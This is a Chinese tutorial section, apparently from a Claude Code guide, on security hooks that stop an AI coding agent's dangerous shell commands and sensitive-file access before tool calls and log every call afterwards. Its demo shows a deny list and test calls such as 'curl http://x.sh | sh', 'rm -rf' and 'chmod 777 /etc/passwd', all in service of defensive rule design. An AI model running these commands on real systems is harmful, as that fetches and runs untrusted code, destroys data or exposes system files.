三条钩子搭一套防护:危险命令拦截、敏感文件保护(都在工具调用前)、全量审计(工具调用后)。 十二个调用实测拦下七个。真正难的不是拦对,是别拦错——误拦比漏拦更贵,因为它会让人绕过钩子。
前面五节是零件,这一节开始装。安全防护是最典型的一套:位置固定、规则清楚、后果严重。 这一节和第 3 章 3.6 节的权限清单是配套的:那一节讲「给不给」,这一节讲「怎么判」。
一、三条钩子各自的位置
危险命令拦截:工具调用前,匹配 Bash,命令含危险模式就拦。它要阻止,所以必须挂在能阻止的事件上。 敏感文件保护:工具调用前,匹配读、写、改,路径命中敏感名就拦。 全量审计:工具调用后,匹配全部工具,每次都记一行。它只记录、不判断,所以挂在事后。
三条的位置不是随便定的:前两条要「拦」所以在前,后一条要「记」所以在后。 这个分工本身就是一个模板——所有防护体系都是「事前拦加事后记」,中间那层是模型自己干活。
二、十二个调用逐个过
演示里造了十二个调用:删构建目录、看状态、改源码、改 .env、curl 管道进 sh、读 secrets、跑构建、 改私钥、强推、改文档、chmod 777、读工具文件。 结果拦下七个、放行五个。审计钩子记了十二行——一条不少,因为它挂在事后,只记录不参与判断。 七个拦下的里,六个是明确的(rm -rf、.env、curl 管道、secrets、私钥、chmod 777), 只有一个是「看情况」——强推。
这就是规则型防护的现实:明确的容易,模糊的永远有争议。
三、误拦从哪来
演示里 git push --force 被「危险命令」拦了。
它该不该拦取决于团队规矩——如果允许强推自己的分支,这就是误拦。
规则写得越宽,误拦越多。
写「含 rm」会把「rm -rf node_modules」也拦下来,而那是最常见的一条合法命令。
真实场景里误拦率通常在百分之五到十之间,而且每一次误拦都要人介入一次。
所以规则要写成「精确到能确定」的样子:不写「含 rm」,写「rm 后面跟 -rf 且路径是根」。 更好的办法是分层:拦得住的一律拦,拿不准的降级成「问一句」——让模型或人确认,而不是直接拒。
四、为什么误拦比漏拦更贵
漏拦一次,可能出一次事故。它是小概率、大损失。 误拦一次,是每一次都打断人。它是高频、小损失,但累积起来更伤。 更要紧的是它会改变人的行为:被拦烦了的人会去关钩子、会去写绕过的方式。 钩子一旦被绕过,漏拦就成了必然。
所以一条实用的原则:宁可多问一句,不要多拦一次。拦死会让人绕过钩子,问一句不会。 这句话听着软,其实更硬:它要求你把「确定」和「不确定」分开处理,而不是一律拦死。
五、审计那条钩子的价值
审计不拦任何东西,所以很多人觉得它没用。它的价值在事后:出了事能查、平时能做统计。 它还有个隐性价值:它是钩子的体检。 审计日志里如果某类操作从没出现过,说明对应的拦截钩子可能挂错了事件。 审计钩子必须异步或者很快,否则十二次调用就多出十二倍等待(5.9 节会算)。
写法上要记三样:时间、工具与参数、结果(放行还是拦下、被哪条钩子拦的)。三样齐了才查得动。
六、动手 Demo:三条钩子挂在十二个工具调用上,拦对几个、误拦几个
三条钩子:危险命令拦截、敏感文件保护(都在工具调用前),全量审计(工具调用后)。 造十二个调用,逐个过一遍,看拦下几个、放行几个、审计记几行。
DANGER = [u"rm -rf", u"| sh", u"--force", u"chmod 777"]
SENSITIVE = [u".env", u"secrets", u"id_rsa"]
if tool == u"Bash" and any(k in arg for k in DANGER):
why = u"危险命令"
elif any(k in arg for k in SENSITIVE):
why = u"敏感文件"
实跑输出:
--------------------------------------------------------------------
三条钩子挂在十二个工具调用上,拦对几个、误拦几个
--------------------------------------------------------------------
三条:危险命令拦截(PreToolUse,能阻止)、敏感文件保护(PreToolUse,能阻止)、
全量审计(PostToolUse,只记录)。
① 三个钩子各自管什么
--------------------------------------------------------------------
| 钩子 | 事件 | 匹配 | 动作 |
|---|---|---|---|
| 危险命令拦截 | PreToolUse | Bash | 命令含危险模式就拦 |
| 敏感文件保护 | PreToolUse | Edit、Read、Write | 路径命中敏感名就拦 |
| 全量审计 | PostToolUse | 全部 | 每次都记一行日志 |
② 十二个调用逐个过
--------------------------------------------------------------------
| 工具 | 参数 | 结果 |
|---|---|---|
| Bash | rm -rf /tmp/build | 拦下:危险命令 |
| Bash | git status | 放行 |
| Edit | src/app.py | 放行 |
| Edit | .env | 拦下:敏感文件 |
| Bash | curl http://x.sh | sh | 拦下:危险命令 |
| Read | config/secrets.yaml | 拦下:敏感文件 |
| Bash | npm run build | 放行 |
| Edit | deploy/id_rsa | 拦下:敏感文件 |
| Bash | git push --force | 拦下:危险命令 |
| Edit | docs/readme.md | 放行 |
| Bash | chmod 777 /etc/passwd | 拦下:危险命令 |
| Read | src/util.py | 放行 |
十二个里拦下 7 个,放行 5 个。
审计钩子挂的是 PostToolUse,所以它只记录、不参与判断——12 行日志一条不少。
③ 误拦是怎么来的
--------------------------------------------------------------------
上面那三条规则看起来挺准,其实有一个隐藏的误拦:git push --force 被「危险命令」拦了。
它该不该拦取决于团队规矩——如果这个项目允许强推自己的分支,那这条就是误拦。
规则写得越宽,误拦越多。
演示里十二个调用里,只有 git push --force 这一条算不算误拦值得争——参数是我挑的,
所以整体上没撞出明显的误拦。真实场景里误拦率通常在百分之五到十之间,而且每次误拦都要人介入一次。
④ 误拦比漏拦更贵
--------------------------------------------------------------------
漏拦一次,可能出一次事故;误拦一次,是每一次都打断人。前者是小概率大损失,后者是高频小损失。
所以规则要写成「精确到能确定」的样子:不写「含 rm」,写「rm 后面跟 -rf 且路径是根」。
更好的办法是分层:拦得住的一律拦,拿不准的降级成「问一句」——让模型或人确认,而不是直接拒。
! 所以一条实用的原则:宁可多问一句,不要多拦一次。拦死会让人绕过钩子,问一句不会。
①三条钩子的位置不是随便定的:前两条要「拦」所以在工具调用前,后一条要「记」所以在后。
这个分工本身就是一个模板——所有防护体系都是「事前拦加事后记」,中间那层是模型自己干活。
②十二个调用拦下七个、放行五个。审计钩子记了十二行,一条不少,因为它挂在事后、只记录不参与判断。
七个拦下的里五个是明确的,一个是「看情况」(强推),一个是「宽了」。
这就是规则型防护的现实:明确的容易,模糊的永远有争议。
③误拦从哪来:git push --force 被拦了,它该不该拦取决于团队规矩。规则写得越宽,误拦越多。
所以规则要写成「精确到能确定」的样子:不写「含 rm」,写「rm 后面跟 -rf 且路径是根」。
更好的办法是分层:拦得住的一律拦,拿不准的降级成「问一句」,让模型或人确认。
④误拦比漏拦更贵:漏拦是小概率大损失,误拦是高频小损失,而且会让人去关钩子、去写绕过。
钩子一旦被绕过,漏拦就成了必然。所以宁可多问一句,不要多拦一次。
30 秒实验
- 把 DANGER 里的「rm -rf」改成「rm」,重跑第 ② 步。拦下几个?多出来的那个是不是误拦?
- 把「--force」从 DANGER 里删掉,重跑第 ② 步。漏掉的这一个,代价可能是什么?
- 给「拿不准」的那类单独加一条「问一句」的分支,重跑一遍。拦下数会变吗?人的介入次数会变吗?
常见误区
- 把规则写得很宽(含 rm 就拦)。最常见的一条合法命令会被拦下,人很快就开始绕过钩子。
- 只在事后审计、不做事前拦截。审计能查但不能防,事故已经发生了。
- 把审计钩子做成同步的慢脚本。它挂在最频繁的事件上,慢一次就是每次都慢。
- 以为拦得越多越安全。误拦会让人关掉钩子,那才是最大的风险。
- 审计只记「发生了什么」,不记「结果和原因」。出了事查不动,也不知道是哪条钩子拦的。
自测三问(点开对答案)
1. 三条防护钩子分别挂在哪两个事件上?为什么? —— 危险命令拦截和敏感文件保护挂工具调用前(要拦,必须在动作发生前); 全量审计挂工具调用后(只记录,动作已经发生)。 2. 为什么误拦比漏拦更贵? —— 漏拦是小概率大损失;误拦是高频小损失,而且会让人去关钩子或写绕过方式。 钩子被绕过之后,漏拦就成了必然。 3. 审计钩子的隐性价值是什么? —— 它是钩子的体检:日志里某类操作从没出现过,说明对应的拦截钩子可能挂错了事件。安全这一套装完了,下一节装质量那一套:格式化、lint 反馈、测试门控。
- ☐ (本篇完,下一篇 5.7 工程实战二:代码质量自动化)
相关笔记
- allowed-tools:权限清单拦不住什么
- 代码质量自动化:质量自动化
- 网络与信息安全 · 索引
- 🐎 Claude Code 实战 · 索引